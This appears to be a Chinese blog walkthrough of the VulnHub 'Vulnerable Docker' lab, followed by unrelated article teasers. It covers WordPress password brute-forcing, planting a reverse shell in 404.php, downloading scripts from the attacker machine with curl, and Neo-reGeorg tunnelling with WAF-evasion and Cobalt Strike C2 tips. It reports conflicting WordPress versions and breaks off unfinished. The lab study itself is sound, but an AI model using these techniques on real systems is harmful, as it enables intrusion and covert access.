内网渗透测试-Vulnerable Docker靶场

靶场来源: Vulnerable Docker: 1 ~ VulnHub

描述:Down By The Docker

有没有想过在容器中玩 docker 错误配置、权限提升等?

下载此 VM,拿出您的渗透测试帽并开始使用

我们有 2 种模式: - HARD:这需要您将 docker 技能和渗透测试技能相结合,以实现主机入侵。 - EASY:相对简单的路径,了解 docker 就足以破坏机器并在主机上获得 root。

我们已经在您可以使用的各种机器/系统中植入了 3 个标志文件。如果您选择接受,您的任务如下:

  1. 识别所有标志(总共 2 个:flag_1 和 flag_3)(flag_2 个被无意中遗漏了)
  2. 在主机上获得 id=0 shell 访问权限。

开启靶场虚拟机之前选择easy模式再进入

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.181,靶场IP192.168.23.66

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.66

2375端口的内容特别多

  1. 端口 22/tcp (SSH)
    • 状态: 开放
    • 服务: OpenSSH 6.6p1 (Ubuntu 2ubuntu1)
    • 描述: 这是一个 SSH 服务,版本较旧,运行在 Ubuntu 系统上。我们看到该服务支持多种加密算法(如 DSA、RSA、ECDSA 和 ED25519)。
    • 安全性: 如果该系统暴露在互联网或不受信任的网络上,建议通过强密码策略、密钥认证等增强 SSH 的安全性,并及时更新 OpenSSH 版本。
  1. 端口 2375/tcp (Docker)
    • 状态: 开放
    • 服务: Docker 17.06.0-ce
    • 描述: 该端口暴露了 Docker API,允许进行远程 Docker 容器管理。Docker 服务信息显示其版本为 17.06.0-ce,且该 API 的最小版本要求为 1.12。
    • 安全性: 端口 2375 默认情况下未加密连接,非常危险,如果没有采取合适的认证机制,攻击者可能利用该端口进行远程操作。建议使用 TLS 加密并在 Docker 配置中启用认证(如设置 client-cert 认证)。在生产环境中不要直接暴露此端口。
  2. 端口 8000/tcp (HTTP)
    • 状态: 开放
    • 服务: Apache HTTPD 2.4.10 (Debian)
    • 描述: 该端口提供一个 Apache Web 服务器,运行 WordPress 网站(版本 4.8.1)。页面显示为 "NotSoEasy Docker – Just another WordPress site"。
    • 安全性: 由于使用了较旧版本的 Apache 和 WordPress,建议尽快更新,以防止已知的安全漏洞被利用。robots.txt 文件中提到禁止访问 /wp-admin/,这表明管理员区域受限,但没有屏蔽整个网站的敏感目录。确保 WordPress 插件和主题及时更新,并实施更强的 Web 应用安全措施(如防止 SQL 注入、跨站脚本攻击等)。

第一种方法,针对存在http服务的8000端口进行攻击

4,访问8000端口开放的http服务看看

判断是一个博客网站,枚举扫描扫网站后台试试

dirsearch -u http://192.168.23.66:8000 -x 404,403,301

5,网站指纹扫描识别

whatweb -v http://192.168.23.66:8000

6,指纹扫描没什么用,但是能够找到/wp-login.php这种登录页面

使用wpscan工具进行攻击

wpscan --url http://192.168.23.66:8000/ -e u vp

-e 枚举

-u 用户名

-vp 有漏洞的插件

爆出来一个用户bob

然后再爆出bob用户的密码,但是要先解压出一个字典

gunzip /usr/share/wordlists/rockyou.txt.gz

wpscan --url http://192.168.23.66:8000/ -e u -P /usr/share/wordlists/rockyou.txt -t 20

最后成功爆出来用户密码为Welcome1

wpscan使用指南

WPScan 是一个非常流行的用于扫描 WordPress 网站漏洞的工具,它可以帮助安全研究人员发现 WordPress 网站上的已知漏洞、插件和主题漏洞、弱口令等。下面是 WPScan 工具的使用指南,包括基本的安装、常见命令和配置说明。

1. 安装 WPScan

通过 Docker 安装

如果不想在系统上直接安装依赖,您可以通过 Docker 来运行 WPScan:

docker pull wpscanteam/wpscan
docker run -it wpscanteam/wpscan --url Example Domain

通过 Ruby 安装(如果系统上没有包管理工具):

sudo apt-get install ruby ruby-dev
sudo gem install wpscan

2. 基本用法

扫描目标网站

wpscan --url Example Domain

这将扫描指定的 WordPress 网站,自动检测出可能的漏洞、插件、主题等。

扫描并列出插件

wpscan --url Example Domain --enumerate p

使用 --enumerate p 参数,可以枚举网站上安装的所有插件。

扫描并列出主题

wpscan --url Example Domain --enumerate t

使用 --enumerate t 参数,可以列出网站上安装的所有主题。

扫描并列出用户

wpscan --url Example Domain --enumerate u

使用 --enumerate u 参数,可以列出 WordPress 网站的用户。

3. 高级扫描选项

使用 API 密钥进行漏洞检查

WPScan 提供一个 API,可以用来检查 WordPress 安装的漏洞。如果你有 API 密钥,可以在运行扫描时使用该密钥来获取更多的漏洞信息。

首先获取一个 API 密钥:WPScan API。 然后使用命令:

wpscan --url Example Domain --api-token YOUR_API_KEY

检测 WordPress 版本

wpscan --url Example Domain --wp-version

使用 --wp-version 参数可以检测目标 WordPress 安装的版本,帮助你确定是否存在已知的版本漏洞。

检测 WordPress 配置和文件

wpscan --url Example Domain --config-backups

使用 --config-backups 参数,可以检测 WordPress 是否泄露了敏感配置文件或备份文件。

4. 弱口令检测

检测弱密码(暴力破解)

wpscan --url Example Domain --enumerate u --passwords /path/to/wordlist.txt --brute-force

  • --passwords 选项指定一个密码字典文件。
  • --brute-force 用于启用暴力破解。

检测登录页面

wpscan --url Example Domain --login-url /wp-login.php --usernames admin --passwords /path/to/wordlist.txt --brute-force

  • 这会尝试通过暴力破解 admin 用户的密码进行登录。

5. 扫描插件漏洞

扫描特定插件的漏洞

wpscan --url Example Domain --plugins-detection mixed

该命令启用混合插件检测(可能会检查 WordPress 插件的已知漏洞)。

查看插件的具体漏洞

wpscan --url Example Domain --plugins-detection aggressive

这会使用更积极的方式去检测插件漏洞。

6. 扫描主题漏洞

扫描并列出所有安装的主题

wpscan --url Example Domain --enumerate t

扫描主题漏洞

wpscan --url Example Domain --enumerate t --vuln

7. 结果输出

保存扫描结果到文件

wpscan --url Example Domain --output results.txt

可以将扫描结果保存到文件,方便后续分析。

8. 示例命令

扫描目标 WordPress 网站:

wpscan --url Example Domain

扫描并枚举插件:

wpscan --url Example Domain --enumerate p

扫描并查看漏洞信息:

wpscan --url Example Domain --api-token YOUR_API_KEY

使用自定义字典暴力破解:

wpscan --url Example Domain --usernames admin --passwords /path/to/wordlist.txt --brute-force

扫描目标并输出结果:

wpscan --url Example Domain --output /path/to/output.txt

9. 常见问题

  • API 限制:如果你使用免费版本的 WPScan API,可能会遇到 API 请求次数限制。可以通过购买高级版 API 进行更多的漏洞查询。
  • 防火墙和屏蔽:一些目标网站可能会启用 Web 应用防火墙(WAF),它们会检测到 WPScan 的扫描行为并可能阻止扫描。因此,你可能需要调整 WPScan 的扫描速度或者使用代理。
  • 更新数据库:WPScan 定期更新漏洞数据库,以包含最新的漏洞。如果你发现扫描没有显示某些漏洞,请确保 WPScan 已经更新至最新版本。

7,然后使用这个密码进行登录,登录成功

由此知道wordpress的版本为6.7.2,是存在一些公开exp的,这里暂不使用

成功得到第一个flag

8,getshell的方式非常经典,在404.php编辑写入php反弹shell代码。使用kali攻击机自带的反弹shell代码

copy这些代码,然后将其复制黏贴到指定区域

需要修改IP和端口再上传

9,触发反弹shell非常简单,首先kali通过nc开启对4444端口的监听

然后访问一个不存在的网站资源 http://192.168.23.66:8000/123456 就能触发404.php存在的反弹shell

10,非常诡异的是ip a查看出来的IP地址与靶场本机IP地址不同

在Docker环境中,www-data用户的权限与宿主机的IP地址不一致是正常现象,原因与Docker的网络隔离机制和用户命名空间隔离有关。以下是详细解释:

1. Docker容器的网络隔离

Docker默认使用**桥接网络(Bridge Network)**为每个容器分配独立的网络命名空间,这意味着:

  • 容器拥有独立的虚拟网络接口(如 eth0),其IP地址与宿主机(本机)的物理接口(如 eth0或 wlan0)不同。
  • 例如,宿主机IP可能是 192.168.1.100,而容器内部的IP可能是 172.17.0.2(Docker默认的私有网段)。

验证方法

# 查看宿主机IP
hostname -I

# 进入容器查看容器IP
docker exec -it <容器名或ID> ip a

2. www-data用户的权限隔离

www-data是Web服务器(如Apache/Nginx)在容器内的默认运行用户,用于权限控制:

  • 该用户仅在容器内有效,与宿主机用户无关。
  • 容器通过用户命名空间隔离,即使容器内有同名用户(如 www-data),其UID/GID也可能与宿主机不同。

验证方法

# 查看宿主机www-data用户的UID/GID
id www-data

# 进入容器查看容器内www-data的UID/GID
docker exec -it <容器名或ID> id www-data

3. 端口映射与访问方式

虽然容器有独立IP,但默认外部无法直接访问容器IP。需通过端口映射将宿主机端口与容器端口绑定:

docker run -p 80:80 <镜像名>

  • 此时,外部通过宿主机IP(如 192.168.1.100:80)访问容器服务。
  • 容器内服务(如Apache)可能记录的是容器IP(172.17.0.2),但实际访问来源经过Docker的NAT转换。

4. 高级网络模式

若IP不一致导致问题,可调整Docker网络模式:

  • Host模式:容器共享宿主机网络命名空间,IP与宿主机一致。
    docker run --network=host <镜像名>
  • 自定义网络:创建自定义桥接网络,实现容器间固定IP分配。
    docker network create --subnet 10.10.0.0/24 mynet
    docker run --network=mynet --ip 10.10.0.2 <镜像名>

5. 安全与权限建议

  • 避免使用root用户:确保容器内服务以非特权用户(如 www-data)运行。
  • 限制容器权限:运行容器时添加安全参数:
    docker run --user 1000:1000 --cap-drop=ALL <镜像名>

总结

  • 网络不一致:因Docker默认的桥接网络隔离,容器IP与宿主机IP必然不同。
  • 用户不一致:容器内的用户(如 www-data)与宿主机用户通过命名空间隔离,UID/GID可能不同。
  • 解决方案:若需IP一致,可使用Host模式;若需用户一致,需同步UID/GID或绑定用户。

11,在docker容器强行启动一个可交互shell

bash -i:bash是Linux系统中的一个shell,而-i选项表示“交互式模式”(interactive mode)。在交互式模式下,bash shell会:

  • 读取用户的配置文件(如~/.bashrc)。
  • 启用命令提示符,让用户可以输入并执行命令。
  • 允许用户与shell进行交互式操作。

然而,bash -i的执行过程中可能会遇到以下错误:

  • bash: cannot set terminal process group (1): Inappropriate ioctl for device:该错误通常发生在非交互式终端环境中(如通过管道或某些程序重定向的环境)。这表明bash无法与终端进行正常的交互,因为它没有一个合适的终端设备(TTY)。
  • bash: no job control in this shell:这是因为在没有交互式终端(如TTY设备)的情况下,bash shell无法启用作业控制(job control)。作业控制允许用户在shell中暂停、后台运行或切换任务,但这在没有合适终端的情况下是无法实现的。

help查看能够使用哪些命令

12,编写虚拟环境下的主机探活脚本

for ip in 172.18.0.{1..254}; do
    (ping -c1 -W1 "$ip" &>/dev/null && echo "$ip") &
done | sort -V
wait

  1. 简化IP生成
    使用Bash的大括号扩展 {1..254} 直接生成IP地址列表,避免依赖外部命令 seq。
  2. 后台并发处理
    每个 ping 命令在子shell中后台运行 (&),加快扫描速度。
  3. 精确输出控制
    ping 成功时仅输出IP地址,过滤冗余文本。
  4. 结果排序(可选)
    通过管道 | sort -V 对输出结果按自然顺序排序,便于查看(若无需排序可移除)。

发现存在四个IP

13,接下来就编写代码扫描端口。先在kali linux上面写好

1. 定义目标主机

hosts=("172.18.0.1" "172.18.0.2" "172.18.0.3" "172.18.0.4")

这个部分定义了一个名为hosts的数组,包含了要扫描的目标IP地址。脚本将会对这些主机逐一进行端口扫描。

2. 端口扫描的端口范围

END=65535

这个变量定义了端口扫描的上限为65535,即扫描所有可能的端口(从1到65535)。

3. 遍历每个主机进行扫描

for host in "${hosts[@]}"
     这个for循环遍历了hosts数组中的每个IP地址

  • 对于每个目标主机,先输出扫描目标的提示信息:Scanning $host。

4. 端口扫描

for ((port=1; port<END;port++))

do

echo "" > /dev/tcp/$host/$port && echo "port $port is open"

done

  • for循环遍历每个端口,从1到65534(不包括65535)。脚本尝试对每个端口进行扫描。
  • echo "" > /dev/tcp/$host/$port:这是一个Bash特性,/dev/tcp/是一个特殊的文件,允许脚本通过TCP连接进行通信。
    • 该命令的作用是尝试建立到目标主机$host的TCP连接,连接目标端口$port。
    • 如果连接成功,命令将返回0(成功),否则返回非零值(失败)。
  • && echo "port $port is open":如果连接成功(即端口开放),就输出port $port is open,表示该端口是开放的。

5. 错误处理

done 2>/dev/null

这部分的作用是将所有的错误输出(例如连接失败时产生的错误信息)重定向到/dev/null,从而屏蔽掉错误信息,只保留成功连接的端口信息。

6. 总结

  • 脚本逐一扫描目标主机的每个端口。
  • 对于每个端口,脚本通过/dev/tcp/$host/$port尝试建立连接,如果连接成功,表示该端口开放,输出“端口$port开放”。
  • 如果连接失败,脚本不会显示任何信息(因为错误输出被重定向到/dev/null)。
  • 通过这种方式,脚本可以有效地列出所有开放的端口,而不显示失败的连接。

然后开启http服务以发送给目标服务器

CURL命令使用大全-CSDN博客

目标服务器使用curl命令接受下载脚本

cd /tmp

curl -O http://192.168.23.181:8000/portscan.sh

然后执行这个端口扫描脚本

chmod +x portscan.sh

./portscan.sh

13,然后使用脚本分别探测这几个端口分别有什么

curl -s 172.18.0.1:8000

经过对比可以知道这个是物理主机的IP地址,开放的是网络主机的http服务

curl -s 172.18.0.3:80

80端口是主机,和网络主机的服务网站一模一样

curl -s 172.18.0.4:8022

由此就可以知道 172.18.0.4运行docker-ssh

14,然后对照端口扫描的结果给局域网内四台虚拟主机用socat做一堆端口转发

socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.23.181:1234 &

socat TCP4-LISTEN:2222,reuseaddr,fork TCP4:172.18.0.1:22 &

socat TCP4-LISTEN:8000,reuseaddr,fork TCP4:172.18.0.1:8000 &

socat TCP4-LISTEN:80,reuseaddr,fork TCP4:172.18.0.2:80 &

socat TCP4-LISTEN:44977,reuseaddr,fork TCP4:172.18.0.2:44977 &

socat TCP4-LISTEN:22,reuseaddr,fork TCP4:172.18.0.4:22 &

socat TCP4-LISTEN:8022,reuseaddr,fork TCP4:172.18.0.4:8022 &

白忙活了,没有这个工具。然后使用Neo-reGeorg工具详解

Neo-reGeorg工具详解

Neo-reGeorg 是一款基于 HTTP(S) 协议的内网穿透工具,是 reGeorg 的升级版,通过加密传输和动态伪装技术绕过安全检测,广泛应用于内网渗透中的横向移动和隧道搭建。以下从核心原理、使用方法、实战场景、防御措施等角度进行详细解析:

一、核心原理与特性

  1. 协议基础
    Neo-reGeorg 基于 Socks5 协议,通过 HTTP(S) 隧道将内网流量封装在加密的 HTTP 数据包中传输。本地监听 1080 端口作为 Socks5 代理入口,流量经加密后通过 Web 服务器转发至内网目标168
  2. 核心优势
    • 加密与伪装:传输内容经变形 Base64 加密,伪装为普通 HTTP 流量,避免特征检测16
    • 动态混淆:HTTP 头部指令随机生成,支持多 URL 随机请求,降低被 WAF 或 IDS 识别的风险18
    • 兼容性高:支持 PHP、JSP、ASPX 等多种语言脚本,适应无 Cookie 或负载均衡环境16
  3. 技术对比
    相较于传统工具如 reDuh 或 FRP,Neo-reGeorg 无需额外安装客户端,仅需上传单一 WebShell 文件即可建立隧道,隐蔽性更强69

二、使用步骤详解

1. 生成隧道脚本

# 生成密钥为 password 的隧道文件(支持多语言)
python3 neoreg.py generate -k password

生成文件位于 neoreg_servers/ 目录,包含 tunnel.php、tunnel.jsp 等脚本24

2. 上传并部署脚本

将生成的隧道文件上传至目标 Web 服务器的可访问路径(如 /var/www/html/tunnel.php),并确保脚本可执行。通过 curl 或浏览器访问确认脚本可正常运行17

3. 建立 Socks5 代理

# 连接隧道脚本并启动本地代理
python3 neoreg.py -k password -u http://目标IP/tunnel.php

默认在本地 127.0.0.1:1080 启动 Socks5 代理,后续可通过 Proxychains 或浏览器配置代理访问内网资源27

三、高级功能与实战技巧

  1. 流量伪装
    • 定制 HTTP 响应码:生成伪装成 404 页面的隧道脚本,干扰日志审计:
      python3 neoreg.py generate -k password --file 404.html --httpcode 404:cite[1]:cite[6]
    • 动态请求头:添加随机 HTTP 头部或 Cookie,增强隐蔽性:
      python3 neoreg.py -k password -u http://目标/tunnel.php -H "Authorization: Basic YWRtaW46MTIzNA==" --cookie "session=abc123":cite[1]:cite[6]
  2. 复杂网络环境适配
    • 负载均衡场景:通过 -r 参数指定内网转发地址,应对多服务器负载均衡:
      python3 neoreg.py -k password -u http://目标/tunnel.jsp -r http://内网IP:8080:cite[6]
    • 代理穿透:若目标服务器需通过代理访问外网,可使用 --proxy 参数:
      python3 neoreg.py -k password -u http://目标/tunnel.php --proxy socks5://10.1.1.1:8080:cite[6]
  3. 联合工具链
    • Proxychains 代理:配置 /etc/proxychains.conf 添加 socks5 127.0.0.1 1080,支持 Nmap、Metasploit 等工具穿透内网27
    • BurpSuite 抓包:结合 Burp 代理分析加密流量,辅助调试或绕过认证机制87

四、典型应用场景

  1. 防火墙绕过
    目标内网仅开放 80/443 端口时,通过 Web 服务器建立加密隧道,穿透防火墙限制访问内网服务(如数据库、远程桌面)37
  2. 横向渗透
    利用隧道代理扫描内网段(如 proxychains nmap -sT 192.168.1.0/24),定位关键主机并进一步利用漏洞79
  3. 隐蔽 C2 通信
    与 Cobalt Strike 结合,通过加密隧道传递攻击指令,规避流量监测设备89

五、常见问题与解决

  1. 依赖缺失
    若报错 No module named requests,需安装 Python 依赖:
    pip3 install requests:cite[4]
  2. 代理连接失败
    • 检查密钥一致性:生成与连接时使用的密钥需完全匹配2
    • 跳过可用性测试:添加 --skip 参数绕过脚本初始检测:
      python3 neoreg.py -k password -u http://目标/tunnel.php --skip:cite[4]
  3. 跨设备代理失效
    若其他设备无法通过 Kali 的代理访问内网,需修改监听地址为 0.0.0.0:
    python3 neoreg.py -k password -u http://目标/tunnel.php -l 0.0.0.0 -p 1080:cite[3]

六、防御与检测建议

  1. 主动防御
    • WebShell 扫描:定期使用 D盾、河马等工具检测异常脚本8
    • 日志审计:监控异常 HTTP 请求(如频繁访问固定 URL、响应码异常)8
  2. 权限控制
    • 最小化文件权限:限制 Web 目录的可执行权限,禁止上传非白名单文件类型8
    • 禁用危险配置:关闭不必要的 HTTP 方法(如 PUT、TRACE),避免中间件解析漏洞8
  3. 流量分析
    • 解密特征识别:尽管传输内容加密,但固定密钥可能导致 Base64 变形模式可被机器学习模型识别68
    • 行为建模:通过统计内网主机的出站连接频率,发现异常代理行为9

七、与其他工具对比

工具

协议

隐蔽性

适用场景

缺点

Neo-reGeorg

HTTP(S)

高(加密)

Web 服务器穿透

依赖 WebShell 文件

FRP

TCP/UDP

中(可加密)

多协议转发

需部署客户端

Proxychains

Socks5

本地工具链代理

不支持复杂网络穿透

Cobalt Strike

Socks4a

高(加密)

红队协作与高级持久化

商业软件,成本高

14,下载安装配置工具

export https_proxy="socks5://192.168.31.223:49969"

git clone https://github.com/Whale-Labs/neo-regeorg.git

cd /Neo-reGeorg-master

python3 neoreg.py generate -k yourpassword

可以看到生成了neoreg_servers/tunnel.php,开启http服务使靶机能够下载

cd /root/Neo-reGeorg-master/neoreg_servers

python -m http.server

curl -O http://192.168.23.181:8000/tunnel.php

mv tunnel.php /var/www/html/tunnel.php

python3 neoreg.py -k yourpassword -u http://192.168.23.66:8000/tunnel.php

配合proxychains4 工具使用,需要修改配置文件: /etc/proxychains4.conf,在其末尾添加

socks5 127.0.0.1 1080

15,然后使用nmap探测四个内网IP的端口

proxychains4 nmap -Pn -sT 172.18.0.1

proxychains4 nmap -Pn -sT 172.18.0.2

proxychains4 nmap -Pn -sT 172.18.0.3

proxychains4 nmap -Pn -sT 172.18.0.4

15,proxychains4 firefox

访问172.18.0.1:8000

访问172.18.0.4:8022

这里的终端竟然是root用户

cat /proc/version

查看版本为 ubuntu 14.04

在这里安装了一个docker,先换源

vim /etc/apt/sources.list

deb ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse

deb ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-security main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-updates main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-proposed main restricted universe multiverse

deb-src ubuntu安装包下载_开源镜像站-阿里云 trusty-backports main restricted universe multiverse

export https_proxy="socks5://192.168.31.223:49969"

curl -fsSL get.docker.com -o get-docker.sh

python -m http.server

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/978075.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【JavaEE】SpringMVC获取HTTP中的元素

目录 一、获取URL中的参数PathVariable二、上传⽂件RequestPart三、获取Cookie/Session3.1 HttpServletRequest和 HttpServletResponse3.2 获取Cookie3.2.1 使用HttpServletRequest3.2.2 使用注解CookieValue 3.3 设置session3.4 获取session3.4.1 使用HttpServletRequest3.4.2…

【构建工具】Gradle Kotlin DSL中的大小写陷阱:BuildConfigField

在Android开发当中&#xff0c;BuildConfig是一个非常有用的功能&#xff0c;它允许我们在构建过程中定义常量&#xff0c;并在运行时使用它们。But&#xff01;&#xff01;当我们从传统的Groovy DSL迁移到Kotlin DSL时或者被Android Studio坑的时候&#xff0c;有一些细微的差…

递归、搜索与回溯第二讲:二叉树中的深搜 穷举vs暴搜vs深搜vs回溯vs剪枝

递归、搜索与回溯第二讲&#xff1a;二叉树中的深搜 && 穷举vs暴搜vs深搜vs回溯vs剪枝 1.计算布尔二叉树的值2.求根节点到叶结点数字之和3.二叉树剪枝4.验证二叉搜索树5.二叉搜索树中第K小的元素6.二叉树的所有路径7.全排列8.子集 1.计算布尔二叉树的值 2.求根节点到叶…

可编辑PPT | DeepSeek如何赋能职场应用

这个PPT的核心内容是介绍DeepSeek如何赋能职场应用&#xff0c;从提示语技巧到多场景应用的详细解读。PPT首先介绍了DeepSeek的背景和团队&#xff0c;展示了其在AI领域的多项赛事奖项和研究成果&#xff0c;突出了其在人机协同和人机共生领域的专业能力。接着&#xff0c;PPT详…

网络层(Internet Layer)

&#x1f308; 个人主页&#xff1a;Zfox_ &#x1f525; 系列专栏&#xff1a;Linux 目录 &#x1f680; &#xff1a;&#x1f525; 前言 &#x1f98b; IP 地址&#xff1a;网络中的“门牌号”&#x1f98b; IP 地址的组成&#x1f98b; IPv4 到 IPv6 的过渡 一&#xff1a;…

final / 抽象类与抽象方法 / 接口

1. final 关键字 final&#xff1a;最终的 1.final可以用来修饰的结构&#xff1a;类&#xff0c;方法&#xff0c;变量 2.final用来修饰一个类&#xff1a;此类不能被其它类继承&#xff1b; 如 String类&#xff0c;System类&#xff0c;StringBuffer类 3.final用来修饰…

DeepSeek开源周Day1:FlashMLA引爆AI推理性能革命!

项目地址&#xff1a;GitHub - deepseek-ai/FlashMLA 开源日历&#xff1a;2025-02-24起 每日9AM(北京时间)更新&#xff0c;持续五天&#xff01; ​ 一、开源周震撼启幕 继上周预告后&#xff0c;DeepSeek于北京时间今晨9点准时开源「FlashMLA」&#xff0c;打响开源周五连…

9.编写负载均衡模块|编写judge功能|postman进行调试(C++)

编写负载均衡模块 代码整体结构 oj_control.hpp // code: #include... // input: "" void Judge(const std::string &number, const std::string in_json, std::string *out_json) {// 0. 根据题目编号&#xff0c;直接拿到对应的题目细节// 1. in_json进行反…

安装react报错

安装react报错 背景 执行命令npx create-react-app my-app&#xff0c;然后出现报错unable to resolve dependency tree 解决&#xff1a; 出现这个报错是因为依赖包版本出现冲突&#xff0c;查看package.json可以看到react版本是19.0.0&#xff0c;但是testing-library/rea…

CAD实现一键 面域转线(闭合多段线)——CAD c#二次开发

CAD中存在面域&#xff08;region&#xff09;&#xff0c;当用系统自带命令是&#xff0c;生成的是断开的直线Line。 此插件可实现面域转为闭合的多段线&#xff08;Polyline&#xff09;。效果如下&#xff1a; 一次转600个图形 部分代码如下&#xff1a; public class 面…

快速理解Raft分布式共识算法

目录 拜占庭将军问题 Raft算法是干什么的&#xff1f; 一、领导选举&#xff08;选老板&#xff09; 二、日志复制&#xff08;发通知&#xff09; 三、安全性&#xff08;防篡改&#xff09; &#x1f330; 举个真实例子 ✔️ Raft的优势 基础 状态机 节点类型 任期…

Python学习第十七天之PyTorch保姆级安装

PyTorch安装与部署 一、准备工作二、pytorch介绍三、CPU版本pytorch安装1. 创建虚拟环境2. 删除虚拟环境1. 通过环境名称删除2. 通过环境路径删除 3. 配置镜像源4. 安装pytorch1. 首先激活环境变量2. 进入pytorch官网&#xff0c;找到安装指令 5. 验证pytorch是否安装成功 四、…

Para-Lane: 首个真实世界多车道数据集,目的评估自动驾驶系统中的新型视角合成能力。

2025-02-22&#xff0c;阿里巴巴集团菜鸟自动驾驶实验室和百度研究院共同创建了一个名为 Para-Lane 的真实世界多车道数据集。该数据集目的评估自动驾驶系统中的新型视角合成&#xff08;NVS&#xff09;能力&#xff0c;通过提供大量真实世界的数据&#xff0c;弥补了现有合成…

Linux | Ubuntu 与 Windows 双系统安装 / 高频故障 / UEFI 安全引导禁用

注&#xff1a;本文为 “buntu 与 Windows 双系统及高频故障解决” 相关文章合辑。 英文引文&#xff0c;机翻未校。 How to install Ubuntu 20.04 and dual boot alongside Windows 10 如何将 Ubuntu 20.04 和双启动与 Windows 10 一起安装 Dave’s RoboShack Published in…

flutter 专题 八十二 Flutter路由框架Fluro简介

在Flutter应用开发过程中&#xff0c;除了使用Flutter官方提供的路由外&#xff0c;还可以使用一些第三方路由框架来实现页面管理和导航&#xff0c;如Fluro、Frouter等。 Fluro作为一款优秀的Flutter企业级路由框架&#xff0c;Fluro的使用比官方提供的路由框架要复杂一些&…

(十)趣学设计模式 之 外观模式!

目录 一、 啥是外观模式&#xff1f;二、 为什么要用外观模式&#xff1f;三、 外观模式的实现方式四、 外观模式的优缺点五、 外观模式的应用场景六、 总结 &#x1f31f;我的其他文章也讲解的比较有趣&#x1f601;&#xff0c;如果喜欢博主的讲解方式&#xff0c;可以多多支…

为AI聊天工具添加一个知识系统 之124 详细设计之65 人类文化和习俗,即文化上的差异-根本差异 之2

本文要点 要点 “取” 本身 是一个具有 主谓宾 三格的 多“格”词。 三“格”&#xff08;主/谓/宾&#xff09;分别是&#xff1a; 主取&#xff0c;取法&#xff08;能取&#xff1a;两组分别 是 析取取“异”&#xff08;三个“不同”&#xff09;和合取取“同”&#xf…

AXI协议详解及FPGA仿真

AXI协议详解及FPGA仿真 1 摘要 AMBA AXI 协议是以高性能&#xff0c;高频系统设计为目标&#xff0c;提供了很多适合高速亚微型系统互连的特征。为相邻存储器连续进行数据传输提供的一种高频率&#xff0c;高带宽&#xff0c;低延迟的总线协议&#xff0c;是一种突发传输协议…

互联网怎样利用人性-思维导图-markdown

互联网怎样利用人性 傲慢 留言、点评饥饿营销、吵架营销 懒惰 一键下单、扫二维码默认登录、多平台同步单点登录SSO美女论坛、美女头像事业线开箱防御力破女性装饰 贪婪 团购、秒杀、抽奖免费试吃、下载存储空间、在家赚钱晒单返现 窥视 订阅、悄悄关注名人博客微博、惊人标题…

javascript-es6 (五)

内置构造函数 在 JavaScript 中 最主要 的数据类型有 6 种&#xff1a; 基本数据类型&#xff1a; 字符串、数值、布尔、undefined、null 引用类型: 对象 但是&#xff0c;我们会发现有些特殊情况&#xff1a; //普通字符串 const str peiqi console.log(str.length) //…